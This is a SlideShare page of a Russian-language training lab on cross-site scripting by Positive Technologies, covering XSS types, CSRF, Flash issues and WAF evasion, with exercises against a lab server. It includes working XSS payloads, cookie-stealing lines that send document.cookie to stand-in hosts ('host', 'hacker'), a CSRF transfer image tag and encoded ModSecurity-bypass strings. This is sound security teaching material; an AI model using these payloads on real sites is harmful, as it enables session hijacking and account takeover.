Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive  Technologies
План лабораторной работы   <ul><li>Введение в тему безопасности Web-приложений </li></ul><ul><li>Уязвимость типа «Межсайто...
Введение в тему безопасности Web-приложений …
Опасный мир  Web- приложений <ul><li>По данным компании  Positive Technologies  за 2009 год </li></ul><ul><ul><li>79 % сай...
Распределение вероятности обнаружения уязвимостей по степени риска  ( данные за 2009 год ) <ul><ul><li>http://ptsecurity.r...
Классификация уязвимостей в  web- приложениях <ul><li>Web Application Security Consortium WASC-TCv2  /  OWASP Top 10 </li>...
Опасный мир  Web- приложений :  статистика за 2009 г. Наиболее часто встречающиеся уязвимости веб-приложений при проведени...
Часть 1 :  Межсайтовое выполнение сценариев <ul><ul><li>Уязвимость типа «Межсайтовое выполнение сценариев»   ( Cross-site ...
Cross-Site Scripting  – Базовые знания <ul><li>&quot;Межсайтовое выполнение сценариев&quot; </li></ul><ul><li>Уязвимость C...
<ul><li>&quot;Межсайтовое выполнение сценариев&quot;   может использоваться для : </li></ul><ul><ul><li>Подмены содержимог...
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=WhatIsWebSecurity ... <...
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=&quot;><script>alert('X...
Cross-Site Scripting  – Базовые знания <ul><li>Условно  Cross-Site Scripting (XSS)  делят на следующие типы : </li></ul><u...
Cross-Site Scripting  – Классическая эксплуатация <ul><li>Возможный метод обнаружения уязвимости /?id= &quot;><script>aler...
Cross-Site Scripting  – Классическая эксплуатация <ul><li>Пример (1) – по событию </li></ul><ul><li>Уязвимый  HTML- код: <...
Cross-Site Scripting  – Различия браузеров <ul><li>http://projects.webappsec.org/Script-Mapping </li></ul>
Cross-Site Scripting  – Классическая эксплуатация <ul><li>Пример ( 2 ) –  DOM-based </li></ul><ul><li>Уязвимый код: </li><...
Cross-Site Scripting  – Безопасность  Cookie <ul><li>Атрибуты  Cookie </li></ul><ul><li>Set-Cookie: <name>=<value>[; <Max-...
Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер 1.  fuzzing,  поиск...
Практическое занятие  (1) <ul><li>http:// 192 . 168 . 0 . 51 :80/ </li></ul><ul><ul><li>Найти уязвимость типа «Межсайтовое...
Часть  2:  Межсайтовое выполнение сценариев   в  Java/Flash <ul><ul><li>Межсайтовое выполнение сценариев в  Java/Flash-при...
XSS && CSRF  – Базовые знания <ul><li>Уязвимость типа &quot;Подделка  HTTP- запросов&quot; ( Cross-Site Request Forgery, C...
Наглядный пример атаки с использованием уязвимости типа« Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщен...
<ul><li>document.domain = &quot;example.com&quot;;  (!) </li></ul><ul><li>Методы обхода -  Anti DNS Pinning,  уязвимости р...
<ul><li>Для безопасности используются изолированные зоны безопасности (Sandbox security model) </li></ul><ul><li>Легальный...
<ul><li>Потенциально небезопасные функции  ActionScript: </li></ul><ul><li>loadVariables()  </li></ul><ul><li>loadMovie() ...
<ul><li>Пример уязвимого кода на языке  JAVA </li></ul>Cross-Site Scripting  ( Java/Flash ) – Базовые знания
Практическое занятие  ( 2 ) <ul><li>http:// 192 . 168 . 0 . 51 :8 1 / </li></ul><ul><ul><li>Найти уязвимость типа «Межсайт...
Часть  3:  Обход фильтров безопасности и WAF <ul><ul><li>Обход фильтров безопасности и  WAF </li></ul></ul>
Что такое  WAF http:// server /?id=6329&print=Y Нас атакуют!   Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// se...
Какие они бывают <ul><li>По режиму работы : </li></ul><ul><ul><li>Мост / Маршрутизатор </li></ul></ul><ul><ul><li>Обратный...
Методы обхода  WAF <ul><li>Фундаментальные ограничения технологии </li></ul><ul><ul><li>Неспособность полностью защитить  ...
<ul><ul><li>Общие проблемы </li></ul></ul><ul><ul><li>Сохраненный вариант  XSS </li></ul></ul><ul><ul><li>В случае если уд...
Методы обхода  WAF:  Возможные способы кодирования  JavaScript <ul><ul><li>Пример : <script>alert(1)</script> </li></ul></...
Методы обхода  WAF:  Возможные способы кодирования  JavaScript <ul><ul><li>Пример  с  BlackHat USA09: </li></ul></ul><ul><...
Методы обхода  WAF:  Возможные способы кодирования  JavaScript <ul><ul><li>http://utf-8.jp/public/jjencode.html </li></ul>...
Практика обхода WAF:  Cross-Site Scripting <ul><ul><li>Обход правил фильтрации на примере  ModSecurity: </li></ul></ul><ul...
Практическое занятие  ( 3 ) <ul><li>http:// 192 . 168 . 0 . 51 :8 2 / </li></ul><ul><ul><li>Найти уязвимость типа «Межсайт...
Резюме лабораторной работы
<ul><li>Межсайтовое выполнение сценариев часто в стречается на широко известных и крупных Интернет-ресурсах </li></ul>Cros...
Резюме <ul><li>Cross-Site Scripting  – широко распространенная ошибка, допускаемая при разработке приложений </li></ul><ul...
Дополнительные материалы и ссылки <ul><li>Web Application Security Consortium (WASC) </li></ul><ul><li>http://projects.web...
Спасибо за внимание! [email_address] http://devteev.blogspot.com/ http://ptresearch.blogspot.com/  http://www.ptsecurity.r...
Upcoming SlideShare
Loading in …5
×

PT MIFI Labxss

2,350 views

Published on

  • Be the first to comment

  • Be the first to like this

PT MIFI Labxss

  1. 1. Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies
  2. 2. План лабораторной работы <ul><li>Введение в тему безопасности Web-приложений </li></ul><ul><li>Уязвимость типа «Межсайтовое выполнение сценариев» </li></ul><ul><li>Межсайтовое выполнение сценариев в Java/Flash-приложениях </li></ul><ul><li>Обход фильтров безопасности и Web Application Firewall (WAF) </li></ul><ul><li>Резюме </li></ul>
  3. 3. Введение в тему безопасности Web-приложений …
  4. 4. Опасный мир Web- приложений <ul><li>По данным компании Positive Technologies за 2009 год </li></ul><ul><ul><li>79 % сайтов содержат критические уязвимости </li></ul></ul><ul><ul><li>58 % сайтов содержат уязвимости средней степени риска </li></ul></ul><ul><ul><li>54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента </li></ul></ul><ul><ul><li>http://ptsecurity.ru/analytics.asp </li></ul></ul>Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».
  5. 5. Распределение вероятности обнаружения уязвимостей по степени риска ( данные за 2009 год ) <ul><ul><li>http://ptsecurity.ru/analytics.asp </li></ul></ul>
  6. 6. Классификация уязвимостей в web- приложениях <ul><li>Web Application Security Consortium WASC-TCv2 / OWASP Top 10 </li></ul><ul><li>CWE/SANS Top 25 Most Dangerous Programming Errors 2010 </li></ul><ul><li>Threat Classification References Mapping Proposal </li></ul><ul><ul><li>http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal </li></ul></ul>http://projects.webappsec.org/Threat-Classification http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf
  7. 7. Опасный мир Web- приложений : статистика за 2009 г. Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»
  8. 8. Часть 1 : Межсайтовое выполнение сценариев <ul><ul><li>Уязвимость типа «Межсайтовое выполнение сценариев» ( Cross-site Scripting, XSS) </li></ul></ul>
  9. 9. Cross-Site Scripting – Базовые знания <ul><li>&quot;Межсайтовое выполнение сценариев&quot; </li></ul><ul><li>Уязвимость Cross-Site Scripting ( XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д. </li></ul>
  10. 10. <ul><li>&quot;Межсайтовое выполнение сценариев&quot; может использоваться для : </li></ul><ul><ul><li>Подмены содержимого сайта ( content spoofing , fishing ) </li></ul></ul><ul><ul><li>Получения доступа к данным в контексте уязвимого сайта (например, к содержимому document.cookie ) </li></ul></ul><ul><ul><li>Проведения атак на компоненты среды клиента (браузер, ActiveX, Adobe, etc .) </li></ul></ul><ul><ul><li>Распространения вредоносного кода ( ajax-worms ) </li></ul></ul>Cross-Site Scripting – Базовые знания
  11. 11. Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=WhatIsWebSecurity ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot; name=&quot;q“ value=&quot;What Is Web Security&quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
  12. 12. Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=&quot;><script>alert('XSS')</script> ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot; name=&quot;q“ value=&quot; &quot;><script>alert('XSS')</script> &quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
  13. 13. Cross-Site Scripting – Базовые знания <ul><li>Условно Cross-Site Scripting (XSS) делят на следующие типы : </li></ul><ul><ul><li>Сохраненный вариант (persistent/stored) </li></ul></ul><ul><ul><li>Отраженный вариант (non-persistent/reflected) </li></ul></ul><ul><li>Cross-Site Scripting обычно можно встретить : </li></ul><ul><ul><li>В HTML - теге </li></ul></ul><ul><ul><li>В теле JavaScript / VBScript/etc (eq DOM-based) </li></ul></ul><ul><ul><li>В коде- HTML </li></ul></ul><ul><ul><li>В параметре тега- HTML </li></ul></ul><ul><ul><li>В Java/F lash приложениях </li></ul></ul><ul><ul><li>В ActiveX </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><li>Cross-Site Scripting – это уязвимость на стороне клиента ( client side ) </li></ul><ul><ul><li>Microsoft Internet Explorer 8 XSS filter </li></ul></ul><ul><ul><li>Mozilla NoScript Firefox extension </li></ul></ul>
  14. 14. Cross-Site Scripting – Классическая эксплуатация <ul><li>Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script> </li></ul><ul><ul><li>HTML- код возвращаемой страницы примет вид </li></ul></ul><ul><ul><li>В параметре тега … <font size=&quot; &quot;><script>alert(1)</script> &quot; … </li></ul></ul><ul><ul><li>В тексте … <p> &quot;><script>alert(1)</script> </p>… </li></ul></ul><ul><ul><li>В результате браузер выполнит J avaScript- код </li></ul></ul><ul><li>Пример практического использования : </li></ul><ul><li>&quot;><script src= http://host/script.js ></script> </li></ul>
  15. 15. Cross-Site Scripting – Классическая эксплуатация <ul><li>Пример (1) – по событию </li></ul><ul><li>Уязвимый HTML- код: </li></ul><ul><ul><li>… </li></ul></ul><ul><ul><li><IMG SRC=&quot; $filename &quot;> </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><li>Эксплуатация: </li></ul><ul><ul><li>/?filename= &quot;onerror=alert('XSS');&quot; </li></ul></ul><ul><ul><li>/?filename= &quot;onerror=javascript:alert('XSS');&quot; </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><li>HTML-код возвращаемой страницы примет вид: </li></ul><ul><ul><li>… </li></ul></ul><ul><ul><li><IMG SRC=&quot;&quot; onerror=alert('XSS'); &quot;&quot;> </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><li>Пример практического использования: </li></ul><ul><li>/?filename=&quot;onerror=&quot;xss=new/**/Image().src=' http://host/sniff?c= '%2Bescape(document.cookie);&quot; </li></ul>
  16. 16. Cross-Site Scripting – Различия браузеров <ul><li>http://projects.webappsec.org/Script-Mapping </li></ul>
  17. 17. Cross-Site Scripting – Классическая эксплуатация <ul><li>Пример ( 2 ) – DOM-based </li></ul><ul><li>Уязвимый код: </li></ul><ul><li>... </li></ul><ul><li><select><script> </li></ul><ul><li>document.write(&quot;<OPTION value=1>&quot;+document.location.href.substring (document.location.href.indexOf(&quot;default=&quot;)+8) +&quot;</OPTION>&quot;); </li></ul><ul><li>document.write(&quot;<OPTION value=2>English</OPTION>&quot;); </li></ul><ul><li></script></select> </li></ul><ul><li>... </li></ul><ul><li>Штатная работа сценария: </li></ul><ul><ul><li>/?default= Russia </li></ul></ul><ul><ul><li>/?default = French </li></ul></ul><ul><ul><li>… </li></ul></ul><ul><li>Эксплуатация: </li></ul><ul><ul><li>/?default= <script>alert(document.cookie)</script> </li></ul></ul>
  18. 18. Cross-Site Scripting – Безопасность Cookie <ul><li>Атрибуты Cookie </li></ul><ul><li>Set-Cookie: <name>=<value>[; <Max-Age>=<age>] </li></ul><ul><li>[; expires=<date>][; domain=<domain_name>] </li></ul><ul><li>[; path=<some_path>][; secure][; HTTPOnly] </li></ul>
  19. 19. Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 6. Работа с Web-приложением от имени атакованного пользователя
  20. 20. Практическое занятие (1) <ul><li>http:// 192 . 168 . 0 . 51 :80/ </li></ul><ul><ul><li>Найти уязвимость типа «Межсайтовое выполнение сценариев». </li></ul></ul><ul><ul><li>Создать сниффер для записи полезных данных. </li></ul></ul><ul><ul><li>Осуществить перехват сессии администратора приложения. </li></ul></ul><ul><ul><li>Авторизоваться под учетной записью администратора приложения. </li></ul></ul>
  21. 21. Часть 2: Межсайтовое выполнение сценариев в Java/Flash <ul><ul><li>Межсайтовое выполнение сценариев в Java/Flash-приложениях </li></ul></ul>
  22. 22. XSS && CSRF – Базовые знания <ul><li>Уязвимость типа &quot;Подделка HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF , XSRF) </li></ul><ul><ul><li>Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении) </li></ul></ul><ul><ul><li>В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях </li></ul></ul><ul><ul><li>Степень опасности уязвимости CSRF на прямую зависит от функций и задач , решаемых приложением </li></ul></ul><ul><li>Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению </li></ul><ul><li>Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения eCommerce и др.) </li></ul><ul><li>Зачастую применяется связка XSS + CSRF </li></ul>
  23. 23. Наглядный пример атаки с использованием уязвимости типа« Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
  24. 24. <ul><li>document.domain = &quot;example.com&quot;; (!) </li></ul><ul><li>Методы обхода - Anti DNS Pinning, уязвимости реализации </li></ul>Ограничения политики доступа ( Same origin policy ) URL Результат Причины http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел http://www.example.com:81/dir2/other.html Запрещено Одинаковый протокол и узел, но различающийся порт https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы http://en.example.com/dir2/other.html Запрещено Различающиеся узлы http://example.com/dir2/other.html Запрещено Различающиеся узлы (необходимы точные соответствия) http://v2.www.example.com/dir2/other.html Запрещено Различающиеся узлы (необходимы точные соответствия)
  25. 25. <ul><li>Для безопасности используются изолированные зоны безопасности (Sandbox security model) </li></ul><ul><li>Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml» </li></ul><ul><ul><li><cross-domain-policy> </li></ul></ul><ul><ul><li><allow-access-from domain=&quot;*&quot;/> </li></ul></ul><ul><ul><li></cross-domain-policy> </li></ul></ul><ul><li>Или вызов соответствующей функции </li></ul><ul><ul><li>System.security.loadPolicyFile (&quot;http://site/crossdomain.xml&quot;); </li></ul></ul>Cross-Site Scripting ( Java/Flash ) – Базовые знания
  26. 26. <ul><li>Потенциально небезопасные функции ActionScript: </li></ul><ul><li>loadVariables() </li></ul><ul><li>loadMovie() </li></ul><ul><li>getURL() </li></ul><ul><li>loadMovie() </li></ul><ul><li>loadMovieNum() </li></ul><ul><li>FScrollPane.loadScrollContent() </li></ul><ul><li>LoadVars.load() </li></ul><ul><li>LoadVars.send() </li></ul><ul><li>LoadVars.sendAndLoad() </li></ul><ul><li>MovieClip.getURL() </li></ul><ul><li>MovieClip.loadMovie() </li></ul><ul><li>NetConnection.connect() </li></ul><ul><li>NetServices.createGatewayConnection() </li></ul><ul><li>NetSteam.play() </li></ul><ul><li>Sound.loadSound() </li></ul><ul><li>XML.load() </li></ul><ul><li>XML.send() </li></ul><ul><li>XML.sendAndLoad() </li></ul>Cross-Site Scripting ( Java/Flash ) – Базовые знания
  27. 27. <ul><li>Пример уязвимого кода на языке JAVA </li></ul>Cross-Site Scripting ( Java/Flash ) – Базовые знания
  28. 28. Практическое занятие ( 2 ) <ul><li>http:// 192 . 168 . 0 . 51 :8 1 / </li></ul><ul><ul><li>Найти уязвимость типа «Межсайтовое выполнение сценариев». </li></ul></ul><ul><ul><li>Воспользоваться AJAX- сценарием http:// 192.168.0.51 :8085/act.js </li></ul></ul><ul><ul><li>для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев». </li></ul></ul><ul><ul><li>Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении. </li></ul></ul><ul><ul><li>Авторизоваться под учетной записью созданного пользователя. </li></ul></ul>
  29. 29. Часть 3: Обход фильтров безопасности и WAF <ul><ul><li>Обход фильтров безопасности и WAF </li></ul></ul>
  30. 30. Что такое WAF http:// server /?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=&quot;><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. c, &quot;, ª) Escaped characters (e.g. , 01, xAA, uAABB) Null byte string termination ... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  31. 31. Какие они бывают <ul><li>По режиму работы : </li></ul><ul><ul><li>Мост / Маршрутизатор </li></ul></ul><ul><ul><li>Обратный прокси-сервер </li></ul></ul><ul><ul><li>Встроенный </li></ul></ul><ul><li>По модели защиты : </li></ul><ul><ul><li>Основанный на сигнатуре ( Signature-based ) </li></ul></ul><ul><ul><li>Основанный на правилах ( Rule-based ) </li></ul></ul><ul><li>По реакции на « плохой » запрос : </li></ul><ul><ul><li>Очистка «опасных» данных </li></ul></ul><ul><ul><li>Блокировка запроса </li></ul></ul><ul><ul><li>Блокировка источника атаки </li></ul></ul>
  32. 32. Методы обхода WAF <ul><li>Фундаментальные ограничения технологии </li></ul><ul><ul><li>Неспособность полностью защитить Web- приложение от всех возможных уязвимостей </li></ul></ul><ul><li>Общие проблемы </li></ul><ul><ul><li>Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика </li></ul></ul><ul><ul><li>Обработка возвращаемого трафика клиенту </li></ul></ul><ul><li>Уязвимости реализации </li></ul><ul><ul><li>Технологии нормализации запроса </li></ul></ul><ul><ul><li>Использование новых техник эксплуатации уязвимостей в Web ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , замена null-byte и т.п. ) </li></ul></ul>
  33. 33. <ul><ul><li>Общие проблемы </li></ul></ul><ul><ul><li>Сохраненный вариант XSS </li></ul></ul><ul><ul><li>В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки </li></ul></ul><ul><ul><li>Отраженный вариант XSS в JavaScript- коде (инъекция JavaScript ) </li></ul></ul><ul><ul><li>Пример : <script> ... setTimeout(&quot;writetitle()&quot;, $_GET[xss] ) ... </script> </li></ul></ul><ul><ul><li>Эксплуатация : /?xss= 500); alert(document.cookie);// </li></ul></ul><ul><ul><li>DOM-based XSS </li></ul></ul><ul><ul><li>Пример : <script> ... eval( $_GET[xss] ); ... </script> </li></ul></ul><ul><ul><li>Эксплуатация : /?xss= document.cookie </li></ul></ul><ul><ul><li>Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8 ) </li></ul></ul>Методы обхода WAF – Cross-Site Scripting
  34. 34. Методы обхода WAF: Возможные способы кодирования JavaScript <ul><ul><li>Пример : <script>alert(1)</script> </li></ul></ul><ul><li>Hex- кодирование ( URL- представление) </li></ul><ul><ul><li>%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E </li></ul></ul><ul><li>HTML- кодирование </li></ul><ul><ul><li><script>alert(1)</script> </li></ul></ul><ul><ul><li>&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 </li></ul></ul><ul><li>UTF7 </li></ul><ul><ul><li>+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- </li></ul></ul><ul><li>… UTF8, base64, escape-encoding (style ) , etc </li></ul>
  35. 35. Методы обхода WAF: Возможные способы кодирования JavaScript <ul><ul><li>Пример с BlackHat USA09: </li></ul></ul><ul><ul><li><script> </li></ul></ul><ul><ul><li>($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </li></ul></ul><ul><ul><li></script> </li></ul></ul><ul><ul><li>BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf; </li></ul></ul>
  36. 36. Методы обхода WAF: Возможные способы кодирования JavaScript <ul><ul><li>http://utf-8.jp/public/jjencode.html </li></ul></ul>
  37. 37. Практика обхода WAF: Cross-Site Scripting <ul><ul><li>Обход правил фильтрации на примере ModSecurity: </li></ul></ul><ul><ul><li>1;alert/*skip*/('XSS'); </li></ul></ul><ul><ul><li><img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> </li></ul></ul><ul><ul><li>&quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot; </li></ul></ul><ul><ul><li>... </li></ul></ul><ul><ul><li>BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf </li></ul></ul>
  38. 38. Практическое занятие ( 3 ) <ul><li>http:// 192 . 168 . 0 . 51 :8 2 / </li></ul><ul><ul><li>Найти уязвимость типа «Межсайтовое выполнение сценариев». </li></ul></ul><ul><ul><li>Воспользоваться техникой обхода WAF. </li></ul></ul><ul><ul><li>Осуществить перехват сессии администратора приложения. </li></ul></ul><ul><ul><li>Восстановить используемый пароль администратора приложения по перехваченному хеш-значению md5 используемого пароля. </li></ul></ul><ul><ul><li>Авторизоваться под учетной записью администратора приложения. </li></ul></ul>
  39. 39. Резюме лабораторной работы
  40. 40. <ul><li>Межсайтовое выполнение сценариев часто в стречается на широко известных и крупных Интернет-ресурсах </li></ul>Cross-Site Scripting в «живой природе»
  41. 41. Резюме <ul><li>Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений </li></ul><ul><li>Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны </li></ul><ul><li>Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде </li></ul><ul><li>Защита Web- приложений, также как и информационная безопасность в целом должна быть комплексной :) </li></ul>
  42. 42. Дополнительные материалы и ссылки <ul><li>Web Application Security Consortium (WASC) </li></ul><ul><li>http://projects.webappsec.org/Cross-Site+Scripting </li></ul><ul><li>http://projects.webappsec.org/Script-Mapping </li></ul><ul><li>Open Web Application Security Project (OWASP) </li></ul><ul><li>http://www.owasp.org/index.php/Cross-site_Scripting_(XSS) </li></ul><ul><ul><li>ha.ckers XSS (Cross Site Scripting) Cheat Sheet </li></ul></ul><ul><ul><li>http://ha.ckers.org/xss.html </li></ul></ul><ul><ul><li>Jjencode </li></ul></ul><ul><ul><li>http://utf-8.jp/public/jjencode.html </li></ul></ul>
  43. 43. Спасибо за внимание! [email_address] http://devteev.blogspot.com/ http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/

×